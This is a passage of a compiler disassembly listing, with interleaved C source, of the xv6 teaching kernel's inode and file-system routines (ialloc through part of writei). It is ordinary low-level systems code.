0x8(%ebp),%esi 80101526: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101529: 0f 86 91 00 00 00 jbe 801015c0 <ialloc+0xb0> 8010152f: bb 01 00 00 00 mov $0x1,%ebx 80101534: eb 21 jmp 80101557 <ialloc+0x47> 80101536: 8d 76 00 lea 0x0(%esi),%esi 80101539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi brelse(bp); 80101540: 83 ec 0c sub $0xc,%esp for(inum = 1; inum < sb.ninodes; inum++){ 80101543: 83 c3 01 add $0x1,%ebx brelse(bp); 80101546: 57 push %edi 80101547: e8 94 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010154c: 83 c4 10 add $0x10,%esp 8010154f: 39 1d c8 09 11 80 cmp %ebx,0x801109c8 80101555: 76 69 jbe 801015c0 <ialloc+0xb0> bp = bread(dev, IBLOCK(inum, sb)); 80101557: 89 d8 mov %ebx,%eax 80101559: 83 ec 08 sub $0x8,%esp 8010155c: c1 e8 03 shr $0x3,%eax 8010155f: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101565: 50 push %eax 80101566: 56 push %esi 80101567: e8 64 eb ff ff call 801000d0 <bread> 8010156c: 89 c7 mov %eax,%edi dip = (struct dinode*)bp->data + inum%IPB; 8010156e: 89 d8 mov %ebx,%eax if(dip->type == 0){ // a free inode 80101570: 83 c4 10 add $0x10,%esp dip = (struct dinode*)bp->data + inum%IPB; 80101573: 83 e0 07 and $0x7,%eax 80101576: c1 e0 06 shl $0x6,%eax 80101579: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010157d: 66 83 39 00 cmpw $0x0,(%ecx) 80101581: 75 bd jne 80101540 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101583: 83 ec 04 sub $0x4,%esp 80101586: 89 4d e0 mov %ecx,-0x20(%ebp) 80101589: 6a 40 push $0x40 8010158b: 6a 00 push $0x0 8010158d: 51 push %ecx 8010158e: e8 8d 2f 00 00 call 80104520 <memset> dip->type = type; 80101593: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax 80101597: 8b 4d e0 mov -0x20(%ebp),%ecx 8010159a: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 8010159d: 89 3c 24 mov %edi,(%esp) 801015a0: e8 cb 17 00 00 call 80102d70 <log_write> brelse(bp); 801015a5: 89 3c 24 mov %edi,(%esp) 801015a8: e8 33 ec ff ff call 801001e0 <brelse> return iget(dev, inum); 801015ad: 83 c4 10 add $0x10,%esp } 801015b0: 8d 65 f4 lea -0xc(%ebp),%esp return iget(dev, inum); 801015b3: 89 da mov %ebx,%edx 801015b5: 89 f0 mov %esi,%eax } 801015b7: 5b pop %ebx 801015b8: 5e pop %esi 801015b9: 5f pop %edi 801015ba: 5d pop %ebp return iget(dev, inum); 801015bb: e9 d0 fc ff ff jmp 80101290 <iget> panic("ialloc: no inodes"); 801015c0: 83 ec 0c sub $0xc,%esp 801015c3: 68 18 71 10 80 push $0x80107118 801015c8: e8 c3 ed ff ff call 80100390 <panic> 801015cd: 8d 76 00 lea 0x0(%esi),%esi 801015d0 <iupdate>: { 801015d0: 55 push %ebp 801015d1: 89 e5 mov %esp,%ebp 801015d3: 56 push %esi 801015d4: 53 push %ebx 801015d5: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015d8: 83 ec 08 sub $0x8,%esp 801015db: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015de: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015e1: c1 e8 03 shr $0x3,%eax 801015e4: 03 05 d4 09 11 80 add 0x801109d4,%eax 801015ea: 50 push %eax 801015eb: ff 73 a4 pushl -0x5c(%ebx) 801015ee: e8 dd ea ff ff call 801000d0 <bread> 801015f3: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801015f5: 8b 43 a8 mov -0x58(%ebx),%eax dip->type = ip->type; 801015f8: 0f b7 53 f4 movzwl -0xc(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015fc: 83 c4 0c add $0xc,%esp dip = (struct dinode*)bp->data + ip->inum%IPB; 801015ff: 83 e0 07 and $0x7,%eax 80101602: c1 e0 06 shl $0x6,%eax 80101605: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax dip->type = ip->type; 80101609: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 8010160c: 0f b7 53 f6 movzwl -0xa(%ebx),%edx memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101610: 83 c0 0c add $0xc,%eax dip->major = ip->major; 80101613: 66 89 50 f6 mov %dx,-0xa(%eax) dip->minor = ip->minor; 80101617: 0f b7 53 f8 movzwl -0x8(%ebx),%edx 8010161b: 66 89 50 f8 mov %dx,-0x8(%eax) dip->nlink = ip->nlink; 8010161f: 0f b7 53 fa movzwl -0x6(%ebx),%edx 80101623: 66 89 50 fa mov %dx,-0x6(%eax) dip->size = ip->size; 80101627: 8b 53 fc mov -0x4(%ebx),%edx 8010162a: 89 50 fc mov %edx,-0x4(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010162d: 6a 34 push $0x34 8010162f: 53 push %ebx 80101630: 50 push %eax 80101631: e8 9a 2f 00 00 call 801045d0 <memmove> log_write(bp); 80101636: 89 34 24 mov %esi,(%esp) 80101639: e8 32 17 00 00 call 80102d70 <log_write> brelse(bp); 8010163e: 89 75 08 mov %esi,0x8(%ebp) 80101641: 83 c4 10 add $0x10,%esp } 80101644: 8d 65 f8 lea -0x8(%ebp),%esp 80101647: 5b pop %ebx 80101648: 5e pop %esi 80101649: 5d pop %ebp brelse(bp); 8010164a: e9 91 eb ff ff jmp 801001e0 <brelse> 8010164f: 90 nop 80101650 <idup>: { 80101650: 55 push %ebp 80101651: 89 e5 mov %esp,%ebp 80101653: 53 push %ebx 80101654: 83 ec 10 sub $0x10,%esp 80101657: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010165a: 68 e0 09 11 80 push $0x801109e0 8010165f: e8 ac 2d 00 00 call 80104410 <acquire> ip->ref++; 80101664: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 80101668: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010166f: e8 5c 2e 00 00 call 801044d0 <release> } 80101674: 89 d8 mov %ebx,%eax 80101676: 8b 5d fc mov -0x4(%ebp),%ebx 80101679: c9 leave 8010167a: c3 ret 8010167b: 90 nop 8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101680 <ilock>: { 80101680: 55 push %ebp 80101681: 89 e5 mov %esp,%ebp 80101683: 56 push %esi 80101684: 53 push %ebx 80101685: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 80101688: 85 db test %ebx,%ebx 8010168a: 0f 84 b7 00 00 00 je 80101747 <ilock+0xc7> 80101690: 8b 53 08 mov 0x8(%ebx),%edx 80101693: 85 d2 test %edx,%edx 80101695: 0f 8e ac 00 00 00 jle 80101747 <ilock+0xc7> acquiresleep(&ip->lock); 8010169b: 8d 43 0c lea 0xc(%ebx),%eax 8010169e: 83 ec 0c sub $0xc,%esp 801016a1: 50 push %eax 801016a2: e8 39 2b 00 00 call 801041e0 <acquiresleep> if(ip->valid == 0){ 801016a7: 8b 43 4c mov 0x4c(%ebx),%eax 801016aa: 83 c4 10 add $0x10,%esp 801016ad: 85 c0 test %eax,%eax 801016af: 74 0f je 801016c0 <ilock+0x40> } 801016b1: 8d 65 f8 lea -0x8(%ebp),%esp 801016b4: 5b pop %ebx 801016b5: 5e pop %esi 801016b6: 5d pop %ebp 801016b7: c3 ret 801016b8: 90 nop 801016b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016c0: 8b 43 04 mov 0x4(%ebx),%eax 801016c3: 83 ec 08 sub $0x8,%esp 801016c6: c1 e8 03 shr $0x3,%eax 801016c9: 03 05 d4 09 11 80 add 0x801109d4,%eax 801016cf: 50 push %eax 801016d0: ff 33 pushl (%ebx) 801016d2: e8 f9 e9 ff ff call 801000d0 <bread> 801016d7: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801016d9: 8b 43 04 mov 0x4(%ebx),%eax memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016dc: 83 c4 0c add $0xc,%esp dip = (struct dinode*)bp->data + ip->inum%IPB; 801016df: 83 e0 07 and $0x7,%eax 801016e2: c1 e0 06 shl $0x6,%eax 801016e5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax ip->type = dip->type; 801016e9: 0f b7 10 movzwl (%eax),%edx memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016ec: 83 c0 0c add $0xc,%eax ip->type = dip->type; 801016ef: 66 89 53 50 mov %dx,0x50(%ebx) ip->major = dip->major; 801016f3: 0f b7 50 f6 movzwl -0xa(%eax),%edx 801016f7: 66 89 53 52 mov %dx,0x52(%ebx) ip->minor = dip->minor; 801016fb: 0f b7 50 f8 movzwl -0x8(%eax),%edx 801016ff: 66 89 53 54 mov %dx,0x54(%ebx) ip->nlink = dip->nlink; 80101703: 0f b7 50 fa movzwl -0x6(%eax),%edx 80101707: 66 89 53 56 mov %dx,0x56(%ebx) ip->size = dip->size; 8010170b: 8b 50 fc mov -0x4(%eax),%edx 8010170e: 89 53 58 mov %edx,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101711: 6a 34 push $0x34 80101713: 50 push %eax 80101714: 8d 43 5c lea 0x5c(%ebx),%eax 80101717: 50 push %eax 80101718: e8 b3 2e 00 00 call 801045d0 <memmove> brelse(bp); 8010171d: 89 34 24 mov %esi,(%esp) 80101720: e8 bb ea ff ff call 801001e0 <brelse> if(ip->type == 0) 80101725: 83 c4 10 add $0x10,%esp 80101728: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->valid = 1; 8010172d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101734: 0f 85 77 ff ff ff jne 801016b1 <ilock+0x31> panic("ilock: no type"); 8010173a: 83 ec 0c sub $0xc,%esp 8010173d: 68 30 71 10 80 push $0x80107130 80101742: e8 49 ec ff ff call 80100390 <panic> panic("ilock"); 80101747: 83 ec 0c sub $0xc,%esp 8010174a: 68 2a 71 10 80 push $0x8010712a 8010174f: e8 3c ec ff ff call 80100390 <panic> 80101754: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010175a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101760 <iunlock>: { 80101760: 55 push %ebp 80101761: 89 e5 mov %esp,%ebp 80101763: 56 push %esi 80101764: 53 push %ebx 80101765: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 80101768: 85 db test %ebx,%ebx 8010176a: 74 28 je 80101794 <iunlock+0x34> 8010176c: 8d 73 0c lea 0xc(%ebx),%esi 8010176f: 83 ec 0c sub $0xc,%esp 80101772: 56 push %esi 80101773: e8 08 2b 00 00 call 80104280 <holdingsleep> 80101778: 83 c4 10 add $0x10,%esp 8010177b: 85 c0 test %eax,%eax 8010177d: 74 15 je 80101794 <iunlock+0x34> 8010177f: 8b 43 08 mov 0x8(%ebx),%eax 80101782: 85 c0 test %eax,%eax 80101784: 7e 0e jle 80101794 <iunlock+0x34> releasesleep(&ip->lock); 80101786: 89 75 08 mov %esi,0x8(%ebp) } 80101789: 8d 65 f8 lea -0x8(%ebp),%esp 8010178c: 5b pop %ebx 8010178d: 5e pop %esi 8010178e: 5d pop %ebp releasesleep(&ip->lock); 8010178f: e9 ac 2a 00 00 jmp 80104240 <releasesleep> panic("iunlock"); 80101794: 83 ec 0c sub $0xc,%esp 80101797: 68 3f 71 10 80 push $0x8010713f 8010179c: e8 ef eb ff ff call 80100390 <panic> 801017a1: eb 0d jmp 801017b0 <iput> 801017a3: 90 nop 801017a4: 90 nop 801017a5: 90 nop 801017a6: 90 nop 801017a7: 90 nop 801017a8: 90 nop 801017a9: 90 nop 801017aa: 90 nop 801017ab: 90 nop 801017ac: 90 nop 801017ad: 90 nop 801017ae: 90 nop 801017af: 90 nop 801017b0 <iput>: { 801017b0: 55 push %ebp 801017b1: 89 e5 mov %esp,%ebp 801017b3: 57 push %edi 801017b4: 56 push %esi 801017b5: 53 push %ebx 801017b6: 83 ec 28 sub $0x28,%esp 801017b9: 8b 5d 08 mov 0x8(%ebp),%ebx acquiresleep(&ip->lock); 801017bc: 8d 7b 0c lea 0xc(%ebx),%edi 801017bf: 57 push %edi 801017c0: e8 1b 2a 00 00 call 801041e0 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017c5: 8b 53 4c mov 0x4c(%ebx),%edx 801017c8: 83 c4 10 add $0x10,%esp 801017cb: 85 d2 test %edx,%edx 801017cd: 74 07 je 801017d6 <iput+0x26> 801017cf: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 801017d4: 74 32 je 80101808 <iput+0x58> releasesleep(&ip->lock); 801017d6: 83 ec 0c sub $0xc,%esp 801017d9: 57 push %edi 801017da: e8 61 2a 00 00 call 80104240 <releasesleep> acquire(&icache.lock); 801017df: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801017e6: e8 25 2c 00 00 call 80104410 <acquire> ip->ref--; 801017eb: 83 6b 08 01 subl $0x1,0x8(%ebx) release(&icache.lock); 801017ef: 83 c4 10 add $0x10,%esp 801017f2: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 801017f9: 8d 65 f4 lea -0xc(%ebp),%esp 801017fc: 5b pop %ebx 801017fd: 5e pop %esi 801017fe: 5f pop %edi 801017ff: 5d pop %ebp release(&icache.lock); 80101800: e9 cb 2c 00 00 jmp 801044d0 <release> 80101805: 8d 76 00 lea 0x0(%esi),%esi acquire(&icache.lock); 80101808: 83 ec 0c sub $0xc,%esp 8010180b: 68 e0 09 11 80 push $0x801109e0 80101810: e8 fb 2b 00 00 call 80104410 <acquire> int r = ip->ref; 80101815: 8b 73 08 mov 0x8(%ebx),%esi release(&icache.lock); 80101818: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010181f: e8 ac 2c 00 00 call 801044d0 <release> if(r == 1){ 80101824: 83 c4 10 add $0x10,%esp 80101827: 83 fe 01 cmp $0x1,%esi 8010182a: 75 aa jne 801017d6 <iput+0x26> 8010182c: 8d 8b 8c 00 00 00 lea 0x8c(%ebx),%ecx 80101832: 89 7d e4 mov %edi,-0x1c(%ebp) 80101835: 8d 73 5c lea 0x5c(%ebx),%esi 80101838: 89 cf mov %ecx,%edi 8010183a: eb 0b jmp 80101847 <iput+0x97> 8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101840: 83 c6 04 add $0x4,%esi { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101843: 39 fe cmp %edi,%esi 80101845: 74 19 je 80101860 <iput+0xb0> if(ip->addrs[i]){ 80101847: 8b 16 mov (%esi),%edx 80101849: 85 d2 test %edx,%edx 8010184b: 74 f3 je 80101840 <iput+0x90> bfree(ip->dev, ip->addrs[i]); 8010184d: 8b 03 mov (%ebx),%eax 8010184f: e8 bc f8 ff ff call 80101110 <bfree> ip->addrs[i] = 0; 80101854: c7 06 00 00 00 00 movl $0x0,(%esi) 8010185a: eb e4 jmp 80101840 <iput+0x90> 8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } if(ip->addrs[NDIRECT]){ 80101860: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax 80101866: 8b 7d e4 mov -0x1c(%ebp),%edi 80101869: 85 c0 test %eax,%eax 8010186b: 75 33 jne 801018a0 <iput+0xf0> bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; iupdate(ip); 8010186d: 83 ec 0c sub $0xc,%esp ip->size = 0; 80101870: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) iupdate(ip); 80101877: 53 push %ebx 80101878: e8 53 fd ff ff call 801015d0 <iupdate> ip->type = 0; 8010187d: 31 c0 xor %eax,%eax 8010187f: 66 89 43 50 mov %ax,0x50(%ebx) iupdate(ip); 80101883: 89 1c 24 mov %ebx,(%esp) 80101886: e8 45 fd ff ff call 801015d0 <iupdate> ip->valid = 0; 8010188b: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx) 80101892: 83 c4 10 add $0x10,%esp 80101895: e9 3c ff ff ff jmp 801017d6 <iput+0x26> 8010189a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018a0: 83 ec 08 sub $0x8,%esp 801018a3: 50 push %eax 801018a4: ff 33 pushl (%ebx) 801018a6: e8 25 e8 ff ff call 801000d0 <bread> 801018ab: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx 801018b1: 89 7d e0 mov %edi,-0x20(%ebp) 801018b4: 89 45 e4 mov %eax,-0x1c(%ebp) a = (uint*)bp->data; 801018b7: 8d 70 5c lea 0x5c(%eax),%esi 801018ba: 83 c4 10 add $0x10,%esp 801018bd: 89 cf mov %ecx,%edi 801018bf: eb 0e jmp 801018cf <iput+0x11f> 801018c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801018c8: 83 c6 04 add $0x4,%esi for(j = 0; j < NINDIRECT; j++){ 801018cb: 39 fe cmp %edi,%esi 801018cd: 74 0f je 801018de <iput+0x12e> if(a[j]) 801018cf: 8b 16 mov (%esi),%edx 801018d1: 85 d2 test %edx,%edx 801018d3: 74 f3 je 801018c8 <iput+0x118> bfree(ip->dev, a[j]); 801018d5: 8b 03 mov (%ebx),%eax 801018d7: e8 34 f8 ff ff call 80101110 <bfree> 801018dc: eb ea jmp 801018c8 <iput+0x118> brelse(bp); 801018de: 83 ec 0c sub $0xc,%esp 801018e1: ff 75 e4 pushl -0x1c(%ebp) 801018e4: 8b 7d e0 mov -0x20(%ebp),%edi 801018e7: e8 f4 e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018ec: 8b 93 8c 00 00 00 mov 0x8c(%ebx),%edx 801018f2: 8b 03 mov (%ebx),%eax 801018f4: e8 17 f8 ff ff call 80101110 <bfree> ip->addrs[NDIRECT] = 0; 801018f9: c7 83 8c 00 00 00 00 movl $0x0,0x8c(%ebx) 80101900: 00 00 00 80101903: 83 c4 10 add $0x10,%esp 80101906: e9 62 ff ff ff jmp 8010186d <iput+0xbd> 8010190b: 90 nop 8010190c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101910 <iunlockput>: { 80101910: 55 push %ebp 80101911: 89 e5 mov %esp,%ebp 80101913: 53 push %ebx 80101914: 83 ec 10 sub $0x10,%esp 80101917: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010191a: 53 push %ebx 8010191b: e8 40 fe ff ff call 80101760 <iunlock> iput(ip); 80101920: 89 5d 08 mov %ebx,0x8(%ebp) 80101923: 83 c4 10 add $0x10,%esp } 80101926: 8b 5d fc mov -0x4(%ebp),%ebx 80101929: c9 leave iput(ip); 8010192a: e9 81 fe ff ff jmp 801017b0 <iput> 8010192f: 90 nop 80101930 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101930: 55 push %ebp 80101931: 89 e5 mov %esp,%ebp 80101933: 8b 55 08 mov 0x8(%ebp),%edx 80101936: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101939: 8b 0a mov (%edx),%ecx 8010193b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010193e: 8b 4a 04 mov 0x4(%edx),%ecx 80101941: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101944: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101948: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010194b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010194f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101953: 8b 52 58 mov 0x58(%edx),%edx 80101956: 89 50 10 mov %edx,0x10(%eax) } 80101959: 5d pop %ebp 8010195a: c3 ret 8010195b: 90 nop 8010195c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101960 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101960: 55 push %ebp 80101961: 89 e5 mov %esp,%ebp 80101963: 57 push %edi 80101964: 56 push %esi 80101965: 53 push %ebx 80101966: 83 ec 1c sub $0x1c,%esp 80101969: 8b 45 08 mov 0x8(%ebp),%eax 8010196c: 8b 75 0c mov 0xc(%ebp),%esi 8010196f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101972: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101977: 89 75 e0 mov %esi,-0x20(%ebp) 8010197a: 89 45 d8 mov %eax,-0x28(%ebp) 8010197d: 8b 75 10 mov 0x10(%ebp),%esi 80101980: 89 7d e4 mov %edi,-0x1c(%ebp) if(ip->type == T_DEV){ 80101983: 0f 84 a7 00 00 00 je 80101a30 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101989: 8b 45 d8 mov -0x28(%ebp),%eax 8010198c: 8b 40 58 mov 0x58(%eax),%eax 8010198f: 39 c6 cmp %eax,%esi 80101991: 0f 87 ba 00 00 00 ja 80101a51 <readi+0xf1> 80101997: 8b 7d e4 mov -0x1c(%ebp),%edi 8010199a: 89 f9 mov %edi,%ecx 8010199c: 01 f1 add %esi,%ecx 8010199e: 0f 82 ad 00 00 00 jb 80101a51 <readi+0xf1> return -1; if(off + n > ip->size) n = ip->size - off; 801019a4: 89 c2 mov %eax,%edx 801019a6: 29 f2 sub %esi,%edx 801019a8: 39 c8 cmp %ecx,%eax 801019aa: 0f 43 d7 cmovae %edi,%edx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019ad: 31 ff xor %edi,%edi 801019af: 85 d2 test %edx,%edx n = ip->size - off; 801019b1: 89 55 e4 mov %edx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019b4: 74 6c je 80101a22 <readi+0xc2> 801019b6: 8d 76 00 lea 0x0(%esi),%esi 801019b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019c0: 8b 5d d8 mov -0x28(%ebp),%ebx 801019c3: 89 f2 mov %esi,%edx 801019c5: c1 ea 09 shr $0x9,%edx 801019c8: 89 d8 mov %ebx,%eax 801019ca: e8 91 f9 ff ff call 80101360 <bmap> 801019cf: 83 ec 08 sub $0x8,%esp 801019d2: 50 push %eax 801019d3: ff 33 pushl (%ebx) 801019d5: e8 f6 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019da: 8b 5d e4 mov -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019dd: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019df: 89 f0 mov %esi,%eax 801019e1: 25 ff 01 00 00 and $0x1ff,%eax 801019e6: b9 00 02 00 00 mov $0x200,%ecx 801019eb: 83 c4 0c add $0xc,%esp 801019ee: 29 c1 sub %eax,%ecx memmove(dst, bp->data + off%BSIZE, m); 801019f0: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax 801019f4: 89 55 dc mov %edx,-0x24(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 801019f7: 29 fb sub %edi,%ebx 801019f9: 39 d9 cmp %ebx,%ecx 801019fb: 0f 46 d9 cmovbe %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019fe: 53 push %ebx 801019ff: 50 push %eax for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a00: 01 df add %ebx,%edi memmove(dst, bp->data + off%BSIZE, m); 80101a02: ff 75 e0 pushl -0x20(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a05: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 80101a07: e8 c4 2b 00 00 call 801045d0 <memmove> brelse(bp); 80101a0c: 8b 55 dc mov -0x24(%ebp),%edx 80101a0f: 89 14 24 mov %edx,(%esp) 80101a12: e8 c9 e7 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a17: 01 5d e0 add %ebx,-0x20(%ebp) 80101a1a: 83 c4 10 add $0x10,%esp 80101a1d: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a20: 77 9e ja 801019c0 <readi+0x60> } return n; 80101a22: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a25: 8d 65 f4 lea -0xc(%ebp),%esp 80101a28: 5b pop %ebx 80101a29: 5e pop %esi 80101a2a: 5f pop %edi 80101a2b: 5d pop %ebp 80101a2c: c3 ret 80101a2d: 8d 76 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a30: 0f bf 40 52 movswl 0x52(%eax),%eax 80101a34: 66 83 f8 09 cmp $0x9,%ax 80101a38: 77 17 ja 80101a51 <readi+0xf1> 80101a3a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a41: 85 c0 test %eax,%eax 80101a43: 74 0c je 80101a51 <readi+0xf1> return devsw[ip->major].read(ip, dst, n); 80101a45: 89 7d 10 mov %edi,0x10(%ebp) } 80101a48: 8d 65 f4 lea -0xc(%ebp),%esp 80101a4b: 5b pop %ebx 80101a4c: 5e pop %esi 80101a4d: 5f pop %edi 80101a4e: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a4f: ff e0 jmp *%eax return -1; 80101a51: b8 ff ff ff ff mov $0xffffffff,%eax 80101a56: eb cd jmp 80101a25 <readi+0xc5> 80101a58: 90 nop 80101a59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101a60 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a60: 55 push %ebp 80101a61: 89 e5 mov %esp,%ebp 80101a63: 57 push %edi 80101a64: 56 push %esi 80101a65: 53 push %ebx 80101a66: 83 ec 1c sub $0x1c,%esp 80101a69: 8b 45 08 mov 0x8(%ebp),%eax 80101a6c: 8b 75 0c mov 0xc(%ebp),%esi 80101a6f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a72: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a77: 89 75 dc mov %esi,-0x24(%ebp) 80101a7a: 89 45 d8 mov %eax,-0x28(%ebp) 80101a7d: 8b 75 10 mov 0x10(%ebp),%esi 80101a80: 89 7d e0 mov %edi,-0x20(%ebp) if(ip->type == T_DEV){ 80101a83: 0f 84 b7 00 00 00 je 80101b40 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a89: 8b 45 d8 mov -0x28(%ebp),%eax 80101a8c: 39 70 58 cmp %esi,0x58(%eax) 80101a8f: 0f 82 eb 00 00 00 jb 80101b80 <writei+0x120> 80101a95: 8b 7d e0 mov -0x20(%ebp),%edi 80101a98: 31 d2 xor %edx,%edx 80101a9a: 89 f8 mov %edi,%eax 80101a9c: 01 f0 add %esi,%eax 80101a9e: 0f 92 c2 setb %dl return -1; if(off + n > MAXFILE*BSIZE) 80101aa1: 3d 00 18 01 00 cmp $0x11800,%eax 80101aa6: 0f 87 d4 00 00 00 ja 80101b80 <writei+0x120> 80101aac: 85 d2 test %edx,%edx 80101aae: 0f 85 cc 00 00 00 jne 80101b80 <writei+0x120> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101ab4: 85 ff test %edi,%edi 80101ab6: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101abd: 74 72 je 80101b31 <writei+0xd1> 80101abf: 90 nop bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ac0: 8b 7d d8 mov -0x28(%ebp),%edi 80101ac3: 89 f2 mov %esi,%edx 80101ac5: c1 ea 09 shr $0x9,%edx 80101ac8: 89 f8 mov %edi,%eax 80101aca: e8 91 f8 ff ff call 80101360 <bmap> 80101acf: 83 ec 08 sub $0x8,%esp 80101ad2: 50 push %eax 80101ad3: ff 37 pushl (%edi) 80101ad5: e8 f6 e5 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101ada: 8b 5d e0 mov -0x20(%ebp),%ebx 80101add: 2b 5d e4 sub -0x1c(%ebp),%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ae0: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ae2: 89 f0 mov %esi,%eax 80101ae4: b9 00 02 00 00 mov $0x200,%ecx 80101ae9: 83 c4 0c add $0xc,%esp 80101aec: 25 ff 01 00 00 